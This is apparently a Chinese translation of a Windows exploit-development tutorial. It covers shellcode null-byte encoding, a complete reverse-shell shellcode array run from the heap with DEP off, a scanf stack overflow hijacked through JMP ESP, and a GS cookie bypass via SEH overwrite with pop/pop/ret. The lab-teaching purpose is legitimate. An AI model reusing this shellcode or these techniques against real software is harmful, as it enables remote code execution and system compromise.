    0x75, 0xF2,                                         #   JNE loop2
    0x43,                                               #   INC EBX
    0x43,                                               #   INC EBX
    0xEB, 0xE3                                          #   JMP loop1
                                                        # shellcode_begin:
])




bytes_blocks是一个数组 


[ missing_byte1 , num_block1 , missing_byte2 , num_block2 ,...]  


我们之前已经说过了,但是这里并没有配对.


注意这段代码是由一个短跳转(JMP SHORT)开头的,这个JMP
SHORT会跳过bytes_blocks.想要这种方式奏效的话,len(bytes_blocks)必须小于或者等于0x7F.


不知道你注意到没有,len(bytes_blocks)在另一条指令中也出现了:


0x8D ,  0x5F ,   -( len ( bytes_blocks )   +  5 )   &  0xFF ,           #   LEA EBX, [EDI + (bytes - here)]   



这就要求len(bytes_blocks)必须小于或者等于0x7F – 5,所以这作为了最后的条件.以下是这个条件不满足的情况:


if  len ( bytes_blocks )   >  0x7f  -  5 :  
    #     不能汇编为     "LEA EBX, [EDI + (bytes-here)]"     或者     "JMP skip_bytes".   
    return   None  


我们一起来更加详细的回顾以下这段代码:


 
  JMP SHORT skip_bytes
bytes:
  ...
skip_bytes:
  CALL $ + 4                                  ; 将"here"标签的地址压入堆栈;跳转到“here”标签地址 - 1处
here:
  (FF)C0 = INC EAX                            ; 不重要:相当于一个NOP
  POP EDI                                     ; EDI = "here"标签的绝对地址
  MOV ECX, <xor value 1 for shellcode len>
  XOR ECX, <xor value 2 for shellcode len>    ; ECX = shellcode的长度
  LEA EBX, [EDI + (bytes - here)]             ; EBX = bytes标签的绝对地址
  ADD EDI, shellcode_begin - here             ; EDI = shellcode的绝对地址
loop1:
  MOV AL, 0FEh                                ; AL = 254
  MUL AL, BYTE PTR [EBX+1]                    ; AX = 254 * 当前 num_blocksX = num bytes
  MOVZX EDX, AX                               ; EDX = 当前块的字节数目
  XOR ESI, ESI                                ; ESI = 0
  CLD                                         ; 告知STOSB,源,目的寄存器递增
loop2:
  MOV AL, BYTE PTR [EDI]                      ; AL = shellcode中的当前字节
  CMP AL, BYTE PTR [EBX]                      ; AL是否为当前块的missing字节?
  CMOVE EAX, ESI                              ; 如果是,则EAX = 0
  STOSB                                       ; 使用AL替换shellcode中的当前字节
  DEC ECX                                     ; ECX -= 1
  JE shellcode_begin                          ; 如果ECX == 0,则处理完毕
  DEC EDX                                     ; EDX -= 1
  JNE loop2                                   ; 如果EDX != 0,则我们继续处理当前块
  INC EBX                                     ; EBX += 1  (移到下一组配对...
  INC EBX                                     ; EBX += 1   ... missing_bytes, num_blocks)
  JMP loop1                                   ; 开始处理下一个分块
shellcode_begin:







测试脚本


这一部分非常容易!直接不带任何参数执行该脚本的话,会提示:





大家应该还记得,我们之前告诉VS2015的链接器要生成map文件的.运行这个脚本带上exe文件和map文件的全路径做为参数就可以了.


以下就是我们最终提取出来的反向连接shell的shellcode了:





关于重定位的这部分非常重要,因为你可以检查是否一切都正常.例如,我们知道我们的反向连接shell使用了3个字符串,并且都准确的从.rdata节中将它们提取出来了.我们可以看到原始shellcode是614个字节,最终的shellcode(处理完重定位和空字节后)是725个字节.




现在我们需要想办法来运行最终的shellcode了.Python脚本生成的shellcode是C/C++格式的,所以我们将这段shellcode拷贝粘贴到一个小的C/C++文件中去,以下就是完整的源代码:


//重要:禁用DEP! 
//(链接器->高级->数据执行保护 = 否) 

int main() 
{ 
    char shellcode[] = 
    "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xb2\x03\x01\x01\x81\xf1\x01\x01" 
    "\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa" 
    "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x85\x02\x05\x05" 
    "\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83" 
    "\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8" 
    "\xe8\xab\x01\x05\x05\x68\x91\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc" 
    "\x2d\xe8\x9a\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x8e\x01" 
    "\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x82\x01\x05\x05\xb9\x70" 
    "\xbe\x1c\x23\x89\x44\x24\x1c\xe8\x74\x01\x05\x05\xb9\xd1\xfe\x73" 
    "\x1b\x89\x44\x24\x20\xe8\x66\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8" 
    "\x5c\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x18\xe8\x4e\x01" 
    "\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x0c\xe8\x40\x01\x05\x05" 
    "\xb9\xe0\x53\x31\x4b\x89\x44\x24\x14\xe8\x32\x01\x05\x05\xb9\x98" 
    "\x94\x8e\xca\x8b\xd8\xe8\x26\x01\x05\x05\x89\x44\x24\x24\x8d\x84" 
    "\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85" 
    "\xc0\x0f\x85\xda\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02" 
    "\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc2\x05\x05" 
    "\x05\x8d\x44\x24\x10\x50\x57\x57\x68\xa4\x02\x05\x05\xff\x54\x24" 
    "\x1c\x85\xc0\x0f\x85\xaa\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d" 
    "\x44\x24\x48\x50\x8b\x44\x24\x24\xff\x70\x10\xff\x70\x18\xff\x54" 
    "\x24\x30\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66" 
    "\x89\x44\x24\x2a\x8d\x44\x24\x38\x50\xff\x54\x24\x1c\x57\x57\x57" 
    "\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24" 
    "\x38\x85\xc0\x75\x5e\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2" 
    "\x88\x10\x40\x83\xe9\x01\x75\xf8\x8d\x44\x24\x48\x89\x7c\x24\x58" 
    "\x50\x8d\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05" 
    "\x50\x52\x52\x52\x6a\x01\x52\x52\x68\x9c\x02\x05\x05\x52\x89\xb4" 
    "\x24\xc0\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8" 
    "\x05\x05\x05\xff\x54\x24\x48\x6a\xff\xff\x74\x24\x4c\xff\x54\x24" 
    "\x2c\x33\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33" 
    "\xd2\xeb\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20" 
    "\x03\xd0\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3" 
    "\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05" 
    "\x05\x05\x89\x45\xfc\x8b\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8" 
    "\x89\x45\xec\x8b\xcf\xe8\xd2\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85" 
    "\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c" 
    "\x33\x0c\x03\xce\xe8\x96\xff\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8" 
    "\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc\x39\x44\x33\x18\x76\x22" 
    "\x8b\x0c\x81\x03\xce\xe8\x75\xff\xff\xff\x03\x45\xf8\x39\x45\xf4" 
    "\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18" 
    "\x72\xde\x3b\x7d\xec\x75\x9c\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3" 
    "\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44" 
    "\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdd\x2f\x05\x05\x05" 
    "\xf2\x05\x05\x05\x82\x01\x05\x05\x77\x73\x32\x5f\x33\x32\x2e\x64" 
    "\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65\x05\x31\x32\x37\x2e\x30" 
    "\x2e\x30\x2e\x31\x05"; 

    static_assert(sizeof(shellcode) > 4, "Use 'char shellcode[] = ...' (not 'char* shellcode = ...')"); 

    //拷贝shellcode到堆中,好让shellcode在可写内存中,方便其自修改. 
    char* ptr = new char[sizeof(shellcode)]; 
    memcpy (ptr, shellcode, sizeof(shellcode)); 
    ((void(*)())ptr)(); 

    return 0; 
} 





为了让这段代码正常工作,你需要关闭DEP(数据执行保护),通过解决方案资源管理器窗口-> <工程名称>属性,然后配置属性下面的,链接器和高级,将数据执行保护(DEP)设置为否(/NXCOMPAT:NO).为什么要关闭DEP呢,是因为我们的shellcode将在堆中执行,如果DEP开启的话,就不能正常执行了.




static_assert是在C++11标准中引入到(所以这里我用的是VS2015),这里用这个关键字是为了检查你是用的


char  shellcode []   =  "..." 


而不是


char   * shellcode  =  "..." 


第一种情形下,sizeof(shellcode)表示的是位于栈中的shellcode的有效长度.而第二种情形,sizeof(shellcode)仅仅表示一个指针的大小(即4),并且这个指针指向的shellcode位于.rdata节中.


为了测试这段shellcode,只需要开一个cmd,输入


ncat  - lvp 123 


然后,运行这个shellcode,看看能不能正常工作即可.































Exploitme1
(“ret eip” overwrite)


这里有一个简单的C/C++程序,该程序存在一个明显的漏洞:


int main()
{
    char name[32];
    printf("Enter your name and press ENTER\n");
    scanf("%s", name);
    printf("Hi, %s!\n", name);
 
    return 0;
}





存在的问题是:scanf()可能会造成name数组的溢出.为了验证这个漏洞,我们将程序运行起来,接着输入一个非常长的名字,比如:


aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 


这个程序会打印


Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! 



然后就崩溃了.


比较有趣的是输入一个特殊的名字,我们就可以让该程序执行任意代码了.


首先,在VS 2015中,我们禁用掉数据执行保护(DEP)和缓冲区安全检查(GS),接着打开解决方案->属性,将以下修改应用到发布版本配置:


●  配置属性


●  C/C++


●  代码生成


●  安全检查:禁用安全检查(/GS-)


●  链接器


●  高级


●  数据执行保护(DEP):否 (/NXCOMPAT:NO)


以下是我们main()函数的汇编代码:





下面是调用main()的汇编代码:





你应该知道,堆栈(PS:其实应该叫栈,其实堆和栈是两个概念,但是有些童鞋喜欢将栈叫成堆栈)是朝着低地址方向增长的.在执行了上面三个入栈操作以后,堆栈就变成了如下的样子:


esp -->  argc  ;第三个push
         argv  ;第二个push
         envp  ;第一个push



接下来的call指令会将0x51269压入堆栈,这样ret指令就能够返回到call指令后紧接着的下一条指令处了.跟进到这个call里面,断在main()函数的开始处,堆栈就变成了如下样子:


esp -->  ret eip  ;0x51269 
          argc     ;第三个push
          argv     ;第二个push
          envp    ;第一个push



main()函数是以如下指令开头的:





在执行了这三条指令以后,堆栈会变成如下的样子:


esp -->  name[0..3]      ;"name"数组开头的4个字节            
          name[4..7]
             .
             .
             .
          name[28..31]  ;"name"数组结尾的4个字节
ebp -->  saved ebp
          ret eip  ;0x51269 
          argc     ;第三个push
          argv     ;第二个push
          envp    ;第一个push



现在,scanf()从标准输入设备(PS:这里是键盘输入)读取数据,并将读取到的数据写入到name中.如果该数据长于32个字节,则ret
eip(调用main()的返回地址)将被覆盖.


下面我们来看看main()函数最后的三条指令:





在执行了mov
esp,ebp这个指令以后,堆栈就变成下面的样子:


esp,ebp -->  saved ebp
              ret eip  ;0x51269 
              argc     ;第三个push
              argv     ;第二个push
              envp    ;第一个push



接着执行了pop ebp以后,堆栈又变成了这样子:






esp -->  ret eip  ;0x51269 
          argc     ;第三个push
          argv     ;第二个push
          envp    ;第一个push



最后的ret指令会将ret eip(返回地址)从栈顶弹出,并赋值给eip(指令指针)寄存器,然后跳转到eip寄存器中保存的地址处.如果我们修改了ret eip(返回地址),我们就能够间接地控制该程序指令执行的流程,让其去执行我们想执行的任意代码.正如我们前面所说,我们可以通过写入超长的数据来溢出name数组从而达到覆盖ret eip(返回地址)的目的,这有可能是因为scanf()没有检查输入的长度.




通过上面一通分析,你应该可以清楚的知道ret eip(返回地址)位于name
+ 36 地址处.


在VS 2015中,按下F5键启动调试器,接着输入一长串:


aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 



这个程序应该会崩溃,并且会弹出一个消息框,提示:





字符‘a’的ASCII码就是0x61,所以我们将ret
eip(返回地址)覆盖为“aaaa”,即:0x61616161,则ret指令将跳转到0x61616161(而这是一个无效的地址).现在我们来验证一下ret eip是位于name + 36地址处,做法就是输入36个”a”,4个”b”,以及若干个”c”:

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccc


我们可以看到弹出了以下消息框,O(∩_∩)O哈哈~





这说明我们的猜想是正确的.(批注:0x62626262即”bbbb”.)


总结:以下就是执行scanf()后堆栈的情况:














name[0..3]                aaaa
name[4..7]                aaaa
.                               .
.                               .
.                               .
name[28..31]   ---->    aaaa
saved ebp                aaaa
ret eip                    bbbb
argc                      cccc
argv                      cccc
envp                      cccc



为了让这个过程更加简单,我们对该程序做一点修改,让其从c:\name.dat文件中读取文本:


int main()
{
    char name[32];
    printf("Reading name from file...\n");
 
    FILE*f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
 
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
 
    return 0;
}



在C盘根目录下新建一个文件name.dat,并在其中添加如下内容:


aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccccccccccccccccccccc


用WinDbg加载exploitme1.exe,按F5(运行起来).你应该可以看到以下异常:





让我们来看一看ESP寄存器指向的堆栈中的部分内容:









非常好!ESP指向了我们的”c”.注意ESP这里指向了0x001cf840.现在我们通过CTRL+SHIFT+F5(重启)并F5(运行).我们再次看下堆栈:





你可以看到,ESP仍然指向了我们的“c”,但是地址变了.比如说我们可以将我们的shellcode放到这些”c”的位置上.我们不能直接将ret eip覆盖为0x14fef0,因为这个地址一直在变.但是ESP总是指向我们的shellcode,所以为什么我们不去用包含JMP ESP指令的内存地址覆盖ret
eip(返回地址)呢?


我们可以使用mona(第二章已经介绍过了)来定位该指令:












我们对这一行比较感兴趣:





我们来试一试这条命令:





OK,这里我们需要一个参数:





运气不太好,提示说没找到存在该指令的模块.这是由于加载到该进程的所有模块都开启了ASLR(地址空间随机化),即它们每次加载到内存中的基地址都会改变.基于目前这种情况,我们只能委曲求全-即我们可以在 kernel32.dll模块中搜索JMP ESP指令,因为这个模块每个应用程序都会加载,只有当Windows重启以后它的地址才会改变.也就是说即便找不到未开启ASLR的模块,只要不重启Windows,这个exploit也是可以完成的.


我们可以使用全局选项-m告诉mona在kernel32.dll模块中进行搜索:





OK!找到了4个地址.我们使用最后一个:





我们来验证一下这个地址是否正确:




正如你所看到的,mona不仅会搜索JMP指令还有搜索CALL和PUSH + RET指令.所以,我们可以使用这个0x77ccf7df覆盖ret eip(返回地址),即通过字节序列“\xdf\xf7\xcc\x77”来覆盖返回地址(记得英特尔CPU是小端存储).


下面我们来一小段Python脚本.打开IDLE,输入:





在Windbg中重启Exploitme1.exe,按F5,Windbg就会断在我们的shellcode处了(0xCC是int3指令[该指令可以给调试器设置一个软件断点]的机器码):





现在我们来添加真正的shellcode:




该shellcode是用如下代码创建的


#define HASH_ExitThread             0x4b3153e0
#define HASH_WinExec                0x7bb4c07f
 
int entryPoint() {
      DefineFuncPtr(WinExec);
      DefineFuncPtr(ExitThread);
 
      char calc[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' };
      My_WinExec(calc, SW_SHOW);
      My_ExitThread(0);
 
      return 0;
}



你可以参考前面的shellcode那一章节的内容.


现在你再运行Exploitme1.exe的话,会弹出一个计算器. O(∩_∩)O哈哈~ 我们的第一个exploit就完成了!





可能会遇到的问题




如果这个exploit在你的系统中无法生效,那么有可能是栈空间不够.那么你可以参考如何在栈中”腾出”更多空间这篇文章.













Exploitme2
(Stack cookies & SEH)


如果你还不能很好的理解这篇文章,那么请你再去读一下之前的Exploitme1那篇文章,理解了以后再来读这篇文章.


这里我们依然使用之前的代码:


int main()
{   
    char name[32];
    printf("Enter your name and press ENTER\n");
    scanf("%s", name);
    printf("Hi, %s!\n", name);
 
    return 0;
}



但是这次,我们配置的东西不一样了.


在VS
2015中,我们需要禁用掉DEP,方法如下:打开工程->属性,修改以下配置并应用到发布版本配置:


●  配置属性


●  链接器


●  高级


●  数据执行保护(DEP):否(/NXCOMPAT:NO)


我们还要确认一下开启了:


●  配置属性


●  C/C++


●  代码生成


●  安全检查:启动安全检查(/GS)


如果你还保留着exploitme1.exe使用的c:\name.dat,那么你可以尝试运行exploitme2.exe,程序会崩溃,并不会弹出我们预想的计算器,这是为什么呢?


以下是对应的汇编代码:





我们拿老的代码对比一下:





我们省略掉不感兴趣的代码.


老代码:


int main()
{   
01101000  push        ebp  
01101001  mov         ebp,esp  
01101003  sub         esp,20h  
.
.
.
01101031  mov         esp,ebp  
01101033  pop         ebp  
01101034  ret  



新代码:


int main()
{   
00C91000  push        ebp  
00C91001  mov         ebp,esp  
00C91003  sub         esp,24h  
00C91006  mov         eax,dword ptr ds:[00C93004h]  
00C9100B  xor         eax,ebp  
00C9100D  mov         dword ptr [ebp-4],eax  
.
.
.
00C91036  mov         ecx,dword ptr [ebp-4]  
00C91039  add         esp,14h  
00C9103C  xor         ecx,ebp  
00C9103E  xor         eax,eax  
00C91040  call        __security_check_cookie (0C910D0h)  
00C91045  mov         esp,ebp  
00C91047  pop         ebp  
00C91048  ret  



执行了新代码中的开始部分,堆栈会变成这样子:


  esp --> name[0..3]
            name[4..7]
           .
           .
           .
            name[28..31]
ebp-4 --> cookie
  ebp --> saved ebp
            ret eip
          .


这段开始代码的作用就是设置cookie,并且在函数返回之前检查这个cookie是否被修改了.


如果发现这个cookie被修改了,在ret指令被执行之前程序就会崩溃.注意该cookie的位置:如果我们溢出了name缓冲区,那么在覆盖ret
eip(返回地址)之前我们就已经把cookie覆盖了.也就说在我们能够控制程序的执行流程之前程序就崩溃了.


我们来看一看函数起始处设置cookie的代码:

00C91006  mov         eax,dword ptr ds:[00C93004h]  
00C9100B  xor         eax,ebp  
00C9100D  mov         dword ptr [ebp-4],eax  



首先从 ds:[00C93004h]处读取某值,然后将该值与EBP进行异或,这样就得到cookie值了,然后将该cookie值保存到[ebp-4]处.也就是说,该cookie是依赖EBP的,从而使得嵌套调用的函数都有着不同的cookie.当然, ds:[00C93004h]这个值也不是一个定值,它是在程序初始化的时候动态生成的一个随机数.


现在大家应该明白什么回事了吧,我们回到之前fread()那个版本的代码(更方便我们演示exploit):


int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}





由于我们不能通过覆盖ret
eip(返回地址)来达到控制EIP的目的了,那么我们只能退而求其次-覆盖SEH链.我们运气比较好,因为SEH链也在栈中.如果你还没弄明白SHE具体细节的话,可以看看结构化异常处理(SEH)那篇文章.


在Windbg中打开Exploitme2.exe,给main函数设置一个断点





然后按F5让程序运行起来.


断下来以后(你也可以结合源代码看),我们查看一下堆栈和SHE链:





请记住SEH节点占8个字节,形式如下:


<指向SEH链中的下一个节点的指针>


<指向异常处理程序的指针>


我们可以看到第一个节点位于0x1bf974地址处(即.esp+0x38),包含


001bf9c0      <--  下一个SEH节点
01352130      <--  异常处理程序(Exploitme2!_except_handler4) 



下一个SEH节点(其实也是最后一个SEH节点)位于0x1bf9c0(即.esp+0x84),包含


ffffffff      <--  下一个SEH节点(没有下一个节点,所以这是最后一个节点)
77b4d74d      <--  异常处理程序(ntdll!_except_handler4) 



现在我们在c:\name.dat中填充0x100个’a’,然后按F10单步步过,一直到执行完fread()函数为止.我们再来检查一下SEH链:





可以看到,我们成功覆盖了SHE链.现在我们按(F5)运行起来.


WinDbg将打印出如下信息:





这表示main()函数返回前检测到cookie被修改了,在我们想控制程序执行流程之前就把我们阻止了,但是,实际上,这个安全违例是由于fread后面的这个赋值语句触发某些边界检查造成的.





边界检查如下:


    27:     name[bytes] = '\0';             
00DD12D2  cmp         edi,20h  
00DD12D5  jae         main+0A5h (0DD1305h)  
    28:     fclose(f);
00DD12D7  push        esi  
00DD12D8  mov         byte ptr name[edi],0  
.
.
.            
00DD1305  call        __report_rangecheckfailure (0DD1482h) 



在这种情况下,由于边界检查的存在,epilog(函数返回之前,校验cookie的代码)是不会达到的,这二者的设计理念类似.虽然我们已经覆盖了SHE链,但是由于没有异常发生,所以SHE链并没有派上用场.我们需要在边界检查代码执行之前抛出一个异常(或者main()的epilog(函数返回之前,校验cookie的代码)被执行到).






下面我们来做一个实验:看看异常发生后,会不会调用SEH链中指定的异常处理程序.像下面这样修改代码:

int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = bytes / 0;                    //'\0';     !!!除数为0!!!             
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}





注意:我们在fread()后面添加了除0语句.该除0语句会抛出一个异常,接着会去调用SHE链中的第一个异常处理程序.编译这段代码,重新用WinDbg打开,按F5运行起来.显示:


正如我们看到的,在该异常被发送给程序之前就已经被WinDbg捕获了.再次按F5(运行),将异常传递给该程序.我们就可以看到如下信息:





我们可以看到EIP
= 0x61616161.这种情况唯一的解释就是被修改后的SEH链中的异常处理程序被调用了!


现在我们必须找一种方法-在边界检查代码执行之前引发一个异常(或者main()函数结尾处检查cookie的代码被执行).首先,我们将除0语句清除掉,然后对我们的代码做一点小小的改动:


int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    int pos = 0;
    while (pos < bytes) {
        int len = bytes - pos > 200 ? 200 : bytes - pos;
        fread(name + pos, 1, len, f);
        pos += len;
    }
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}      



我们让fread()每次从文件中读取200个字节的块,这有可能会失败,因为fread()有可能H会把栈”撑爆”.这种方式,我们需要一个很大的文件.我们假设栈无限大,我们不停地向里面写东西,直到写不进去为止(到达了最高地址),这个时候就会触发异常.我们启动Python的IDLE,先尝试1000个’a’:


with open('c:\\name.dat','wb') as f:
    f.write('a'*1000)



在WinDbg下面运行Exploitme2.exe,很容易验证1000个”a”并不够.我们再来试一下2000个:


with open('c:\\name.dat','wb') as f:
    f.write('a'*2000)



还是不行.最后用10000个”a”,我们得到:







接着按F5(运行),我们得到:





正是我们想要的效果:EIP =
0x61616161.我们知道我们的”a”覆盖了某个SEH节点中的异常处理程序地址,但是到底哪4个”a”才是呢?换句话说,到底要在文件偏移多少的地方填入控制程序执行流程的地址才对呢?


一种比较简单的方式就是mona中提供的特殊模型来替代单一的”a”,这样我们就能够快速的定位到我们需要定位的4字节在哪了.


使用mona构造的特殊字节序列如下:





我们写一段Python脚本将这种模式的字节序列写入到c:\name.dat中:





注意,这段特殊字符序列我这里并没有贴全,太长了.


我们在WinDbg中重新启动Exploitme2.exe,按F5两次,得到:





我们可以看到EIP = 0x64413364.我们来看看这段特殊字节位于多少偏移处.记住英特尔CPU是小端存储,所以0x64413364 = “\x64\x33\x41\x64”
= “d3Ad”.我们用mona看看偏移是多少:





偏移是100.我们用如下的Python脚本来验证一下这个偏移正不正确:





这次WinDbg输出如下:





因为0x62626262
= “bbbb”,这正是我们想要的结果.


现在,我们知道在文件的哪个地方放我们的地址了.接下来我们需要解决用哪个地址的问题了.在WinDbg中单击View(查看)->Memory(内存),在”Virtual(虚拟)”:这个框框中输入@esp,查看ESP寄存器指向栈中的部分内容.我这里,ESP = 0x2ff5dc,并且我们的”b“在@esp+530处.


我们重新启动Exploitme2.exe,看看这个0x530是不是一个定值.再次在内存窗口中的”Virtual:”这一栏输入@esp+530,你应该可以看到仍然指向了我们的”b“.我们可以看到ESP的值总是在变,但是这个偏移530是恒定的.




所以我们可以把我们的shellcode放到4个”b”之后,并且将这4个”b“替换为类似如下代码片段的地址:


ADD ESP,534 
JMP ESP 



注意,这里我们用的是534,即:530+4,这么做是为了跳过4个”b“,然后将可以跳转到我们的shellcode处的了(我们暂时放到的一长串”c”).当然,ADD ESP,540或者其他类似的指令也是可以的.不幸的是,想要找到这种指令可不是件容易的事,但是稍微简单点的办法还是有的.




重新启动Exploitme2.exe,按两次F5(运行),查看一下堆栈:





esp+8处的这个DWORD比较有意思.我们来查看一下这个地址处的内容:





好像0x27fabc指向的是我们”b“前面的4个”a“.还记得吧,”bbbb”覆盖了SEH节点中指向异常处理函数指针的域,所以0x23fcb0一定指向的是同一个SEH节点的“指向下一个SEH节点的指针”对应的域.我们来验证一下:





好像我们覆盖的是第三个SHE节点:





首先,我们要确保在重启进程后esp+8依然包含正确的地址,重来试一试.经验证的确如此后,我们需要找到类似于下面这样的指令序列:


POP  reg32 
POP  reg32 
RET  



思路就是将上面指令序列的地址放到我们的4个“b”所在的位置上.当执行到该指令序列的时候,其首先会将ESP加上8(通过POP指令),接着会提取出ESP指向内存单元中的值(实际是一个地址),然后跳转到该地址处.这不正是我们想要的效果嘛,即:会跳转到我们4个“b”左边的4个“a”处.接下来我们越过这个4个“b”，直接跳转到我们的shellcode处(我们的一长串”c”),也就是说我们需要在4个“b”左边放上一个向右的跳转指令.




短跳转的机器码为:


EB XX 



XX这个字节是一个有符号数.为了方便描述,我们添加一个标签:


here :  
    EB XX 



这条指令实际会跳转到here+2+XX地址处.举个例子,


    EB 00 
there :  



这条指令正好跳转到了它后面,即:there标签处.


我们实际想要的效果如下:





90是NOP(无操作-什么也不干)指令的机器码,也是这两个字节填什么都可以,因为这两个字节会被跳过.


现在,我们在kernel32.dll中定位到pop/pop/ret指令序列的地址:

0:000> !py mona findwild -s "pop r32#pop r32#ret" -m kernel32.dll
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m kernel32.dll
 
---------- Mona command started on 2016-01-06 19:52:21 (v2.0, rev 565) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules kernel32.dll
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x75c70000 and 0x75d44000
[+] Preparing output file 'findwild.txt'
    - (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
    - Number of pointers of type 'pop edi # pop esi # retn' : 2 
    - Number of pointers of type 'pop esi # pop ebx # retn' : 2 
    - Number of pointers of type 'pop ebx # pop ebp # retn 14h' : 4 
    - Number of pointers of type 'pop ebx # pop ebp # retn 10h' : 14 
    - Number of pointers of type 'pop edi # pop ebp # retn 24h' : 1 
    - Number of pointers of type 'pop edi # pop ebp # retn 8' : 13 
    - Number of pointers of type 'pop eax # pop ebp # retn 1ch' : 2 
    - Number of pointers of type 'pop ecx # pop ebx # retn 4' : 1 
    - Number of pointers of type 'pop esi # pop ebp # retn' : 1 
    - Number of pointers of type 'pop ebx # pop ebp # retn 1ch' : 4 
    - Number of pointers of type 'pop eax # pop ebp # retn 0ch' : 8 
    - Number of pointers of type 'pop edi # pop ebp # retn 1ch' : 2 
    - Number of pointers of type 'pop eax # pop ebp # retn 20h' : 2 
    - Number of pointers of type 'pop esi # pop ebp # retn 0ch' : 46 
    - Number of pointers of type 'pop eax # pop ebp # retn' : 2 
    - Number of pointers of type 'pop eax # pop ebp # retn 4' : 3 
    - Number of pointers of type 'pop esi # pop ebp # retn 20h' : 1 
    - Number of pointers of type 'pop ebx # pop ebp # retn 0ch' : 27 
    - Number of pointers of type 'pop esi # pop ebp # retn 24h' : 1 
    - Number of pointers of type 'pop eax # pop ebp # retn 18h' : 3 
    - Number of pointers of type 'pop edi # pop ebp # retn 0ch' : 11 
    - Number of pointers of type 'pop esi # pop ebp # retn 10h' : 16 
    - Number of pointers of type 'pop esi # pop ebp # retn 18h' : 10 
    - Number of pointers of type 'pop esi # pop ebp # retn 14h' : 11 
    - Number of pointers of type 'pop edi # pop ebp # retn 10h' : 6 
    - Number of pointers of type 'pop eax # pop ebp # retn 8' : 5 
    - Number of pointers of type 'pop ebx # pop ebp # retn 4' : 11 
    - Number of pointers of type 'pop esi # pop ebp # retn 4' : 67 
    - Number of pointers of type 'pop esi # pop ebp # retn 8' : 64 
    - Number of pointers of type 'pop edx # pop eax # retn' : 1 
    - Number of pointers of type 'pop ebx # pop ebp # retn 8' : 28 
    - Number of pointers of type 'pop ebx # pop ebp # retn 18h' : 7 
